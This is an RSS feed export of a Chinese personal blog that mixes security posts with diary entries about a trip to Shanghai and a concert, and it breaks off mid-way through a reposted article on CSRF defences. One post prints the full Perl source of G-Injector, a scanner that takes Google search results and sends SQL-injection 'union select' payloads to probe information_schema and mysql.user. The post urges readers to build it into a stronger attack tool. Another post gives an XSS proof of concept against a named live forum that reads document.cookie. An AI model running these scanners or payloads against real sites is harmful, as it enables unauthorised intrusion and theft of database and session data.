<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0">
<channel>
<title><![CDATA[召唤]]></title>
<link>http://www.patching.net/zhaohuan/</link>
<description><![CDATA[我遇见你是最美丽的意外:)]]></description>
<language>zh-cn</language>
<copyright><![CDATA[Copyright 2005 PBlog3 v2.8]]></copyright>
<webMaster><![CDATA[sunsp2@163.com(召唤)]]></webMaster>
<generator>PBlog2 v2.4</generator> 
<image>
	<title>召唤</title>
	<url>http://www.patching.net/zhaohuan/images/logos.gif</url>
	<link>http://www.patching.net/zhaohuan/</link>
	<description>召唤</description>
</image>

			<item>
			<link>http://www.patching.net/zhaohuan/article.asp?id=259</link>
			<title><![CDATA[SimpleDorkGUi &amp; G-Injector]]></title>
			<author>sunsp2@163.com(ZhaoHuAn)</author>
			<category><![CDATA[Security]]></category>
			<pubDate>Sat,30 May 2009 00:11:59 +0800</pubDate>
			<guid>http://www.patching.net/zhaohuan/default.asp?id=259</guid>
		<description><![CDATA[顾名思义，就是通过搜索引擎定义关键字来自动查找注入点的工具。对于比较庞大、脚本种类比较复杂的大型站点做渗透有所帮助。例如：site:qq.com inurl:php?id=<br/><br/><strong>SimpleDorkGUi< <img src="http://www.patching.net/zhaohuan/images/smilies/icon_tong.GIF" border="0" style="margin:0px 0px -2px 0px" alt=""/>rong>是<strong>low1z< <img src="http://www.patching.net/zhaohuan/images/smilies/icon_tong.GIF" border="0" style="margin:0px 0px -2px 0px" alt=""/>rong>今年年初用python写的一个图形界面的注入点搜索程序，现在已经推出了第二版。它可以通过根据你指定的搜索参数来进行搜索包含sql注入的地址，并判断数据类型。缺点是不能保存当前搜索进程以便下次的继续探测，不过0.2版本已经中加入了这个功能。<br/><br/><img src="http://img17.imageshack.us/img17/3763/sdgwin.jpg" border="0" alt=""/><br/><br/>0.2版的代码在：<br/><a href="http://www.darkc0de.com/others/simpleDorkGUi.py" target="_blank" rel="external">http://www.darkc0de.com/others/simpleDorkGUi.py</a><br/><br/>/*<span style="color:Purple">老版本0.1版在win下运行的话,这里有处代码要修改下:</span><br/><div class="UBBPanel codePanel"><div class="UBBTitle"><img src="http://www.patching.net/zhaohuan/images/code.gif" style="margin:0px 2px -3px 0px" alt="程序代码"/> 程序代码</div><div class="UBBContent">txtField = Text(myFrame, font=(&#39;Verdana&#39;, 8, &#39;&#39;),fg=&#39;orange&#39;, bg=&#39;black&#39;, width=400, <span style="color:Red">height=32</span>, wrap=WORD, yscrollcommand=scb.set)</div></div> 否则你将会看不到下面的操作工具栏;) */<br/><br/>0.1版建议运行在python 2.x版本上，因为python 3.x的不向后兼容，一些类似exec和print语句在3.x版本被去除或修改了导致程序报错。如果非要在3.x下运行的朋友可以自己修改一下代码，或者用官方提供的转换器转换一下：<br/>Py(2to3)<br/><a href="http://svn.python.org/view/sandbox/trunk/2to3/" target="_blank" rel="external">http://svn.python.org/view/sandbox/trunk/2to3/</a><br/><br/><br/><strong>G-Injector(perl)< <img src="http://www.patching.net/zhaohuan/images/smilies/icon_tong.GIF" border="0" style="margin:0px 0px -2px 0px" alt=""/>rong>是法国小伙<strong>jonathan59< <img src="http://www.patching.net/zhaohuan/images/smilies/icon_tong.GIF" border="0" style="margin:0px 0px -2px 0px" alt=""/>rong>的作品，以前常在h4cky0u玩的朋友应该对他比较熟悉<br/><br/><img src="http://nsa05.casimages.com/img/2009/02/17/09021706120571575.jpg" border="0" alt=""/><br/><img src="http://nsa05.casimages.com/img/2009/02/17/090217061311276266.jpg" border="0" alt=""/><br/><br/>代码如下：<br/><div class="UBBPanel codePanel"><div class="UBBTitle"><img src="http://www.patching.net/zhaohuan/images/code.gif" style="margin:0px 2px -3px 0px" alt="程序代码"/> 程序代码</div><div class="UBBContent">#!/usr/bin/perl <br/># <a href="http://rk-project.tk" target="_blank" rel="external">http://rk-project.tk</a> <br/># bsnseabra@hotmail.com <br/># zer0xProud © greetz to Gladiator <br/># Sábado, 10 de Janeiro de 2009 <br/>use LWP::UserAgent; <br/>my $top = LWP::UserAgent-&gt;new(); <br/>$top-&gt;timeout(10); <br/>$top-&gt;agent(&#34;Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201 Firefox/3.0&#34;); <br/>unless($ARGV[2]) { <br/>&nbsp;&nbsp; print &#34;=&gt; G-Injector &lt;=\n&#34;; <br/>&nbsp;&nbsp; print &#34;=&gt; Use: ginjector.pl \&#34;dork\&#34; limit sqltest.txt\n&#34;; <br/>&nbsp;&nbsp; print &#34;=&gt; Visit Us unkn0wn.ws! &lt;=\n&#34;; <br/>exit 0; <br/>} <br/>open(WEBSITES, &#34;&gt;&gt;&#34;, $ARGV[2])or die(&#34;File No Exists\n&#34;); <br/>chomp($ARGV[0]); <br/>syswrite STDOUT, &#34;=&gt;&lt;=&gt;=&lt;=&gt;=&lt;=&gt;=&lt;=&gt;=&lt;=\n&#34;; <br/>syswrite STDOUT, &#34;=&gt; G-Injector 1.0 &lt;=\n&#34;; <br/>syswrite STDOUT, &#34;=&gt;&lt;=&gt;=&lt;=&gt;=&lt;=&gt;=&lt;=&gt;=&lt;=\n&#34;; <br/>googler($ARGV[0],$ARGV[2]); <br/>close(WEBSITES); <br/>fin(); <br/>sub inject{ <br/>&#160;&#160;&#160;&#160;syswrite STDOUT, &#34;=&gt; Verifing.. $_[0]=\n&#34;; <br/>&#160;&#160;&#160;&#160;syswrite STDOUT, &#34;=&gt; Vulnerable??: &#34;; <br/>&#160;&#160;&#160;&#160;my $weborig = $_[0] . &#34;=&#34;; <br/>&#160;&#160;&#160;&#160;my $injhex = &#34;-1+union+sel&#101;ct+0x6c333374&#34;; <br/>&#160;&#160;&#160;&#160;my $injnum = &#34;-1+union+sel&#101;ct+0&#34;; <br/>&#160;&#160;&#160;&#160;my $hex=&#39;0x6c333374&#39;; <br/>&#160;&#160;&#160;&#160;my $sw = 0; <br/>&#160;&#160;&#160;&#160;$webnum=$weborig . $injnum; <br/>&#160;&#160;&#160;&#160;$webhex=$weborig . $injhex; <br/>&#160;&#160;&#160;&#160;for($conta=0;$conta&lt;=$ARGV[1];$conta++){ <br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;if($conta&gt;0){ <br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;$webhex.=&#39;,&#39;.$hex; <br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;$webnum.=&#39;,&#39;.$conta; <br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;} <br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;$codeweb = $top-&gt;get($webhex . &#34;--&#34;); <br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;if($codeweb-&gt;is_success){ <br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;$getcodeweb = $codeweb-&gt;content; <br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;if($getcodeweb =~ /l33t/ ){ <br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;syswrite STDOUT, &#34;Ya!\n&#34;; <br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;$sw = 1; <br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;$conta = $_[1] + 1; <br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;print WEBSITES &#34;$webnum--\n&#34;; <br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;schemauser($webhex,$webnum); <br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;} <br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;} <br/>&#160;&#160;&#160;&#160;} <br/>&#160;&#160;&#160;&#160;if($sw == 0){ <br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;syswrite STDOUT, &#34;n0p!\n&#34;; <br/>&#160;&#160;&#160;&#160;} <br/>} <br/>sub fin{ <br/>&#160;&#160;&#160;&#160;print &#34;\n Ok, Scan Finished, Thanks, Visit us unkn0wn.ws\n&#34;; <br/>} <br/>sub schemauser{ <br/>&#160;&#160;&#160;&#160;my $schinj = &#34;+from+information_schema.tables--&#34;; <br/>&#160;&#160;&#160;&#160;my $userinj = &#34;+from+mysql.user--&#34;; <br/>&#160;&#160;&#160;&#160;syswrite STDOUT, &#34;=&gt; Information Schema?: &#34;; <br/>&#160;&#160;&#160;&#160;my $ws = $_[0] . $schinj; <br/>&#160;&#160;&#160;&#160;my $wwss = $_[1] . $schinj; <br/>&#160;&#160;&#160;&#160;my $webschema = $top-&gt;get($ws); <br/>&#160;&#160;&#160;&#160;if($webschema-&gt;is_success){ <br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;$getwebschema = $webschema-&gt;content; <br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;if($getwebschema =~ /l33t/ ){ <br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;syswrite STDOUT, &#34;Ya!\n&#34;; <br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;print WEBSITES &#34;$wwss\n&#34;; <br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;}else{ <br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;syswrite STDOUT, &#34;n0p!\n&#34;; <br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;} <br/>&#160;&#160;&#160;&#160;} <br/>&#160;&#160;&#160;&#160;syswrite STDOUT, &#34;=&gt; mysql.User??: &#34;; <br/>&#160;&#160;&#160;&#160;my $wu = $_[0] . $userinj; <br/>&#160;&#160;&#160;&#160;my $wwuu = $_[1] . $userinj; <br/>&#160;&#160;&#160;&#160;my $webuser = $top-&gt;get($wu); <br/>&#160;&#160;&#160;&#160;if($webuser-&gt;is_success){ <br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;$getwebuser = $webuser-&gt;content; <br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;if($webuser =~ /l33t/ ){ <br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;syswrite STDOUT, &#34;Ya!\n&#34;; <br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;print WEBSITES &#34;$wwuu\n&#34;; <br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;}else{ <br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;syswrite STDOUT, &#34;n0p!\n&#34;; <br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;} <br/>&#160;&#160;&#160;&#160;} <br/>} <br/>sub cleared{ <br/>&#160;&#160;&#160;&#160;my $sha = $_[0]; <br/>&#160;&#160;&#160;&#160;if($sha =~ /\=/ ){ <br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;@splitweb=split(&#34;=&#34;,$sha); <br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;inject($splitweb[0]); <br/>&#160;&#160;&#160;&#160;} <br/>} <br/>sub googler{ <br/>&#160;&#160;&#160;&#160;sleep(1); <br/>&#160;&#160;&#160;&#160;syswrite STDOUT, &#34;Wait Please....\n&#34;; <br/>&#160;&#160;&#160;&#160;for($numpag=0;$numpag&lt;=40;$numpag=$numpag+10){ <br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;my $find = &#39;<a href="http://www.google.com.ar <img src="http://www.patching.net/zhaohuan/images/smilies/icon_heart.gif" border="0" style="margin:0px 0px -2px 0px" alt=""/>arch?hl=es" target="_blank" rel="external">http://www.google.com.ar <img src="http://www.patching.net/zhaohuan/images/smilies/icon_heart.gif" border="0" style="margin:0px 0px -2px 0px" alt=""/>arch?hl=es</a>&amp;q=&#39; . $_[0] . &#39;&amp;start=&#39; . $numpag . &#39;&amp;sa=N&#39;; <br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;my $resweb = $top-&gt;get($find); <br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;if($resweb-&gt;is_success){ <br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;$getwebs = $resweb-&gt;content; <br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;while($getwebs =~ m/&lt;h3 class\=r&gt;&lt;a href\=\&#34;(.*?)\&#34; class\=/g ){ <br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;cleared($1); <br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;} <br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;} <br/>&#160;&#160;&#160;&#160;} <br/>}</div></div><br/>比前者多了个后续的自动检测注入点的功能.并可定义将注入结果时时保存。<br/><br/>代码都是开源的，有兴趣的同学可以参考修改下。可以考虑加入代理功能和清除cookies来突破google的搜索请求限制、更多注入特征的判断、变形判断字符来打造成渗透利器：）]]></description>
		</item>
		
			<item>
			<link>http://www.patching.net/zhaohuan/article.asp?id=258</link>
			<title><![CDATA[[MS09-012]Token Kidnapping 安全补丁(KB956572)]]></title>
			<author>sunsp2@163.com(ZhaoHuAn)</author>
			<category><![CDATA[Security]]></category>
			<pubDate>Mon,20 Apr 2009 16:55:07 +0800</pubDate>
			<guid>http://www.patching.net/zhaohuan/default.asp?id=258</guid>
		<description><![CDATA[去年win下最流行的一个本地提权的漏洞微软终于放出补丁了。。<br/><br/><a target="_blank" href="http://www.microsoft.com/downloads/details.aspx?familyid=73D2324F-BE59-4B0C-B1AC-9876A13C2C03&amp;displaylang=zh-cn" rel="external">http://www.microsoft.com/downloads/details.aspx?familyid=73D2324F-BE59-4B0C-B1AC-9876A13C2C03&amp;displaylang=zh-cn</a>]]></description>
		</item>
		
			<item>
			<link>http://www.patching.net/zhaohuan/article.asp?id=257</link>
			<title><![CDATA[Discuz <=7.0(frame.php) xss Vulnerability]]></title>
			<author>sunsp2@163.com(ZhaoHuAn)</author>
			<category><![CDATA[Security]]></category>
			<pubDate>Sat,18 Apr 2009 22:08:57 +0800</pubDate>
			<guid>http://www.patching.net/zhaohuan/default.asp?id=257</guid>
		<description><![CDATA[前段时间做风险评估的时候发现的，这个xss 需要在开启了左右分栏的情况下才可以触发。<br/><br/><br/>PoC：<br/><br/><div class="UBBPanel codePanel"><div class="UBBTitle"><img src="http://www.patching.net/zhaohuan/images/code.gif" style="margin:0px 2px -3px 0px" alt="程序代码"/> 程序代码</div><div class="UBBContent">http://bbs.cctv.com/index.php?gid=24&#34;&gt;&lt;/iframe&gt;&lt;script&gt;alert(document.cookie)&lt;/script&gt;</div></div><br/><br/>-----&gt;<br/>&nbsp;&nbsp;跳转到了<br/><div class="UBBPanel codePanel"><div class="UBBTitle"><img src="http://www.patching.net/zhaohuan/images/code.gif" style="margin:0px 2px -3px 0px" alt="程序代码"/> 程序代码</div><div class="UBBContent">http://bbs.cctv.com/frame.php?frameon=yes&amp;referer=http%3A//bbs.cctv.com/index.php%3Fgid%3D24%22%3E%3C/iframe%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E</div></div><br/><br/><br/><img src="http://www.patching.net/zhaohuan/attachments/month_0904/7200941822729.gif" border="0" alt=""/><br/>]]></description>
		</item>
		
			<item>
			<link>http://www.patching.net/zhaohuan/article.asp?id=256</link>
			<title><![CDATA[摘一下老爸发的留言。]]></title>
			<author>sunsp2@163.com(ZhaoHuAn)</author>
			<category><![CDATA[Diary]]></category>
			<pubDate>Thu,09 Apr 2009 21:21:01 +0800</pubDate>
			<guid>http://www.patching.net/zhaohuan/default.asp?id=256</guid>
		<description><![CDATA[(2009-04-09 20:55:21)&nbsp;&nbsp; 关耳<br/>人的一生怎样都可以度过，默默无闻的是一生，煊煊赫赫的也是一生。但为人者总要对生命负责。伟大、英雄未必人人能够，但总得建功立德，总要活出人的尊严。有本事要靠本事，没本事也要有德行。生命可以承受无边的苦难，但承受不了无足轻重；生命可以承受贫病交加，但承受不了同类的冷落；生命可以承受挫折失败，但承受不了尊严的失缺；生命也可以承受忍辱负重，但它承受不了永无成功的荣耀。一个人在百年之内总得为自己的生命挣得一点自豪与骄傲，也应该在自己力所能及的层级上，为生命挣下一两次可以在众人之中君临端坐的首席之位。即使生命对此并无奢求，也要有一点点创造，有一点点作为，来证明自己曾在这个世界上活过。 ]]></description>
		</item>
		
			<item>
			<link>http://www.patching.net/zhaohuan/article.asp?id=255</link>
			<title><![CDATA[做了一回伪歌迷~]]></title>
			<author>sunsp2@163.com(ZhaoHuAn)</author>
			<category><![CDATA[Diary]]></category>
			<pubDate>Mon,22 Sep 2008 22:42:35 +0800</pubDate>
			<guid>http://www.patching.net/zhaohuan/default.asp?id=255</guid>
		<description><![CDATA[听证书说elva萧亚轩做客百度，其实不是她的歌迷，只不过以前听过她几首歌比较动听，而且这张专辑(《三面夏娃》)确实写得不错，推荐一下《类似爱情》和《冲动》。貌似以前还没见过她本人，所以混进去拍一下，嘿嘿，见了本人才知道皮肤和身材那真不是盖的。<br/><br/><img src="http://www.patching.net/zhaohuan/attachments/month_0809/i200892222404.jpg" border="0" alt=""/><br/><br/><img src="http://www.patching.net/zhaohuan/attachments/month_0809/12008922224014.jpg" border="0" alt=""/><br/><br/><img src="http://www.patching.net/zhaohuan/attachments/month_0809/72008922224026.jpg" border="0" alt=""/><br/>这个手拍得很灵异~<br/><br/><img src="http://www.patching.net/zhaohuan/attachments/month_0809/z2008922224046.jpg" border="0" alt=""/><br/><br/><img src="http://www.patching.net/zhaohuan/attachments/month_0809/b200892222411.jpg" border="0" alt=""/><br/><br/><img src="http://www.patching.net/zhaohuan/attachments/month_0809/z2008922224134.jpg" border="0" alt=""/><br/><br/>最后一起合了张影~ 就不PO上来了~ <img src="http://www.patching.net/zhaohuan/images/smilies/icon_lol.gif" border="0" style="margin:0px 0px -2px 0px" alt=""/> 感谢朋友爱情证书和百度娱乐杨嘉~]]></description>
		</item>
		
			<item>
			<link>http://www.patching.net/zhaohuan/article.asp?id=254</link>
			<title><![CDATA[逛街·随手拍的~]]></title>
			<author>sunsp2@163.com(ZhaoHuAn)</author>
			<category><![CDATA[Diary]]></category>
			<pubDate>Mon,22 Sep 2008 22:36:27 +0800</pubDate>
			<guid>http://www.patching.net/zhaohuan/default.asp?id=254</guid>
		<description><![CDATA[因为我们家小w对王府井步行街的这个教堂情有独钟，路过拍两张~ <br/><br/><br/><img src="http://www.patching.net/zhaohuan/attachments/month_0809/i200892222364.jpg" border="0" alt=""/><br/><br/><img src="http://www.patching.net/zhaohuan/attachments/month_0809/w2008922223555.jpg" border="0" alt=""/><br/>]]></description>
		</item>
		
			<item>
			<link>http://www.patching.net/zhaohuan/article.asp?id=253</link>
			<title><![CDATA[@上海]]></title>
			<author>sunsp2@163.com(ZhaoHuAn)</author>
			<category><![CDATA[Diary]]></category>
			<pubDate>Sun,14 Sep 2008 22:41:03 +0800</pubDate>
			<guid>http://www.patching.net/zhaohuan/default.asp?id=253</guid>
		<description><![CDATA[&nbsp;&nbsp;回北京几天了，整理一下上海行的照片，因此行主要不是在玩，所以只去了城隍庙&amp;外滩这一片，为避免日后懒惰荒于梳理，借假期三天——中秋佳节之际BLOG一下。<br/><br/>&nbsp;&nbsp;到上海的飞机晚点，刚下飞机就匆忙打车到公司（前面省略排队候车20分钟#-_-!!），天公不作美，大暴雨，路上的积水将近20厘米厚，南方就是这么滋润啊，让我顿时倍感亲切:O 司机师傅说星期五很多公司提早下班或者不上班，又下雨，交通一定是非常之堵。印象中是很久很久才到公司，司机师傅又把3号楼错认为是第3期楼，后来san哥跟我说原来SystEm32来的时候貌似也停这里，所以我一直怀疑是不是跟SystEm32坐的一辆车。。<br/> <br/>&nbsp;&nbsp;san哥打着伞在门口接我，挖，终于见到崇拜已久的san师傅了，穿着nsfocus的黑色T恤，因为san哥素来低调，就不描述太多以免被K，膜拜一下 ^.^&nbsp;&nbsp;进了会议室后san哥拿了些巧克力和饼干给我，因为中午在飞机上随便吃了点，旅途劳累啊，还真有点饿了:P&nbsp;&nbsp;然后就是久仰的cnhawk师傅，就跟他聊起天来，而且我发现cnhawk师傅是跟谁聊都能让对方觉得非常开心的，HOHO。面试的时候SystEm32来了，32是一个很好的兄弟，只比我大三岁，但技术功底非常扎实，用CC总的话说，技术很好，小伙子很帅，呵呵，崇拜啊。。认识了一个很好的兄弟：）<br/>&nbsp;&nbsp;<br/>&nbsp;&nbsp;晚上部门领导请大家吃饭，……省略N字，平时很少喝酒，不胜酒力啊。。。Orz（算是明白32为什么有意要加强喝酒训练了） 晕忽忽的跟san哥回家了，就记得打车时等了很久都不等不到。<br/><br/>&nbsp;&nbsp;这些天都住在san哥家，还是复式的房子，很宽敞，一个精致的小楼梯通2层，我自己住一间，很舒服，哈哈，有机会上楼梯看看，san哥和嫂子很照顾我又很客气，真的觉得很不好意思，早知道星期一过来就好了，给san哥夫妇添了不少麻烦啊..&nbsp;&nbsp; <br/><br/>&nbsp;&nbsp;恩。。嫂子做的鱿鱼和绿豆稀饭非常好吃:P<br/><br/>&nbsp;&nbsp;想到哪就说到哪吧。。呵呵，星期天，没什么事，san哥带我在上海到处逛逛，顺便吃点小吃。我们就到城隍庙附近落脚，这一带应该还是外地人多些，上海老街嘛，大多数是来旅游的，装扮得细致古朴，很有特色，Keywords：古玩、茶、书画、老字号、客栈、购物街、小吃街……&nbsp;&nbsp;<br/><br/><img src="http://www.patching.net/zhaohuan/attachments/month_0809/22008914221019.jpg" border="0" alt=""/><br/><br/><img src="http://www.patching.net/zhaohuan/attachments/month_0809/u2008914221121.jpg" border="0" alt=""/><br/><br/><br/>&nbsp;&nbsp;这里的店铺名字也别具旧上海风格，特别需要提起的是san哥发现的一个名叫“春风得意楼”的茶馆，令人浮想联翩啊～ <br/><br/>&nbsp;&nbsp;接着我们步行到了外滩，穿过一个小公园（公园尽头是一个咖啡厅，咖啡厅底部是一个循环过滤的池子，里面养了很多很多漂亮锦鲤，乐坏我了，我喜欢的鱼儿们啊！下次再来看你们:p ）就来到了浦江大桥，对面的东方明珠电视塔等标志性建筑就清晰的展现在了面前，可惜还是有一段距离，不然可以拍得很清楚：）<br/><img src="http://www.patching.net/zhaohuan/attachments/month_0809/k2008914221253.jpg" border="0" alt=""/><br/><img src="http://www.patching.net/zhaohuan/attachments/month_0809/s2008914221312.jpg" border="0" alt=""/><br/><img src="http://www.patching.net/zhaohuan/attachments/month_0809/x2008914221354.jpg" border="0" alt=""/><br/><img src="http://www.patching.net/zhaohuan/attachments/month_0809/82008914221940.jpg" border="0" alt=""/><br/>&nbsp;&nbsp;黄浦江<br/><img src="http://www.patching.net/zhaohuan/attachments/month_0809/e2008914221555.jpg" border="0" alt=""/><br/><img src="http://www.patching.net/zhaohuan/attachments/month_0809/c2008914222343.jpg" border="0" alt=""/><br/>&nbsp;&nbsp;san哥好像更在意后面这些即将被拆迁的建筑，的确，非常具有异国特色的设计。<br/><img src="http://www.patching.net/zhaohuan/attachments/month_0809/p200891422352.jpg" border="0" alt=""/><br/><img src="http://www.patching.net/zhaohuan/attachments/month_0809/p2008914223530.jpg" border="0" alt=""/><br/><img src="http://www.patching.net/zhaohuan/attachments/month_0809/e2008914223555.jpg" border="0" alt=""/><br/><img src="http://www.patching.net/zhaohuan/attachments/month_0809/02008914223638.jpg" border="0" alt=""/><br/><br/>&nbsp;&nbsp;在回去的路上我们经过一处美丽的胡同，这里的街道是以省份的名字命名的，街道很干净，红绿灯旁边还有小小的鱼池，里面也有很多漂亮的小鱼，街道上一棵棵法国梧桐，很有feeling。。。<br/><br/><img src="http://www.patching.net/zhaohuan/attachments/month_0809/v200891422398.jpg" border="0" alt=""/><br/><br/>&nbsp;&nbsp;我们回去时的地铁，就是在这栋大楼下层的<br/><br/><img src="http://www.patching.net/zhaohuan/attachments/month_0809/t200891422409.jpg" border="0" alt=""/><br/><br/>&nbsp;&nbsp;说起地铁，就不得不说北京和上海，倒是觉得上海的地铁还好，虽然也挤，但貌似跟北京的地铁还不是一个级别的。如果有人说上海的地铁能把人挤流产，那北京的地铁就能挤怀孕。<br/><br/>&nbsp;&nbsp;最后感谢san哥和cnhawk师傅送我，最近一直都是在麻烦san哥，所以心里感到特别的愧疚，将来一定不能辜负了san哥对我的一片期望才是，特别是hawk师傅还不放心我，频频回头招手与道别，想起来依然历历在目，感谢。<br/><br/>&nbsp;&nbsp;总之对师傅们的感谢藏在我心中，在学校剩下的时间里要潜心学习、研究，思考好今后的研究方向。<br/><br/>&nbsp;&nbsp;相信我们有这么好的团队，这么多优秀的专家，一定会越来越灿烂辉煌，上海，2009年，我们再见：）]]></description>
		</item>
		
			<item>
			<link>http://www.patching.net/zhaohuan/article.asp?id=252</link>
			<title><![CDATA[[ZZ]防止CSRF攻击]]></title>
			<author>sunsp2@163.com(ZhaoHuAn)</author>
			<category><![CDATA[Security]]></category>
			<pubDate>Thu,04 Sep 2008 17:27:44 +0800</pubDate>
			<guid>http://www.patching.net/zhaohuan/default.asp?id=252</guid>
		<description><![CDATA[转一篇不错的文章,不是很新,有些地方可以看一看:)<br/><strong>《防止CSRF攻击》< <img src="http://www.patching.net/zhaohuan/images/smilies/icon_tong.GIF" border="0" style="margin:0px 0px -2px 0px" alt=""/>rong><br/><span style="color:Red">译者:韩国峰</span> <br/>本文已经获得原作者Email授权----译者注<br/>概览：<br/><br/>1. Hello World<br/>2. 介绍<br/>3. 关于认证技术<br/>3.1 Cookies Hashing<br/>3.2 HTTP来路<br/>3.3 验证码<br/>4. 一次性令牌<br/>5. 最后的话<br/>1.Hello World<br/><br/>欢迎来到崭新的Playhack.net的新季度开题项目报告。我非常高兴您能够再次回来让我们的c001项目重现。<br/><br/>希望您能喜欢这个新的短篇论文，我邀请你浏览位于<a href="http://www.playhack.net" target="_blank" rel="external">http://www.playhack.net</a>的全部新项目。<br/><br/>开始：几乎没有什么，只是一点香烟!:<br/><br/>呐喊：我向我的playhack m8s null,omni,god and emdel,ofc o str0ke大声呐喊!NEX 回来了。<br/>2.介绍<br/><br/>我 对跨站请求伪造（Cross Site Request Forgery，即CSRF）技术有一定研究，但是对网站开发者应当采取的措施研究不深。这些日子在编写一个对用户和管理员（这些人对他们的任务并不明 晰:P）有高度安全要求的分布式网站程序时，我被这个话题深刻的纠缠了。<br/><br/>针对这种情况，我必须考虑程序最终可能受到的各个方面的可能的攻击威胁。<br/><br/>给我最多麻烦的就是Session欺骗（或者CSRF，你可以按照自己喜欢的方式称呼），因为这种攻击是完全以用户的身份，因此并没有百分百的可能性来防止它。<br/><br/>如果你对我刚才说所的Session欺骗并不太了解，那么你可以阅读：<a href="http://www.playhack.net/view.php?id=30" target="_blank" rel="external">http://www.playhack.net/view.php?id=30</a><br/>3.可行措施<br/><br/>Ok，从这里开始，我必须假定你对Session欺骗攻击的实施方法已经深刻领会了:P<br/><br/>让我们开始新的继续。<br/><br/>考虑到一个已经登录到网站的受信用户可以完成一些重要的或者私密的操作，攻击者尝试记性一个可能的登录攻击（但是大多数情况下是不可行的）并且得到已经登录用户的Session来实现其巧妙的行为。<br/><br/>为 了劫持用户的Seession，入侵者精心构造一个适当的网页，在这个网页中包含了隐藏的JavaScript函数来重新创造一个原始操作表单，但是攻击 者却修改了一些表单值，然后攻击者让受攻击者访问该页面，此时页面加载过程会提交上述表单到一个远程页面，以隐秘地完成一个请求（此时受攻击者并不知 道），他们用这种方法利用了用户的受信身份。<br/><br/>这种方式简单解释了Session欺骗攻击是如何工作的，但是一个重要的问题是，&#34;我如何避免我的用户成为这种攻击的受害者？&#34;<br/><br/>现在，你可能想到如下的几种方法：<br/><br/>检查Cookies凭据<br/>检查HTTP请求来路<br/>使用验证码<br/>但是经过一些尝试，你会发现这些方法不是我们应当采取的最合适的解决方式，让我们一个个的来看为什么。<br/>3.1 Cookies Hashing<br/><br/>第一个方案可能是解决这个问题的最简单和快捷的方案了，因为攻击者不能够获得被攻击者的Cookies内容，也就不能够构造相应的表单。<br/><br/>这个问题的实现方法与下面的类似。在某些登录页面我们根据当前的会话创建Cookies：<br/><div class="UBBPanel codePanel"><div class="UBBTitle"><img src="http://www.patching.net/zhaohuan/images/code.gif" style="margin:0px 2px -3px 0px" alt="程序代码"/> 程序代码</div><div class="UBBContent">&lt;!-- login.php --&gt;<br/>&lt;?php<br/>// Cookie value<br/>$value = &#34;Something from Somewh&#101;re&#34;;<br/>// Cr&#101;ate a cookie which expires in one hour<br/>setcookie(&#34;cookie&#34;, $value, time()+3600);<br/>?&gt;<br/>&lt;!-- EOF --&gt;</div></div>在这里，我们在Cookies中使用了散列来使得这个表单可被认证。<br/><div class="UBBPanel codePanel"><div class="UBBTitle"><img src="http://www.patching.net/zhaohuan/images/code.gif" style="margin:0px 2px -3px 0px" alt="程序代码"/> 程序代码</div><div class="UBBContent">&lt;!-- form.php --&gt;<br/>&lt;?php<br/>// Hash the cookie<br/>$hash = md5($_COOKIE[&#39;cookie&#39;]);<br/>?&gt;<br/>&lt;form method=&#34;POST&#34; 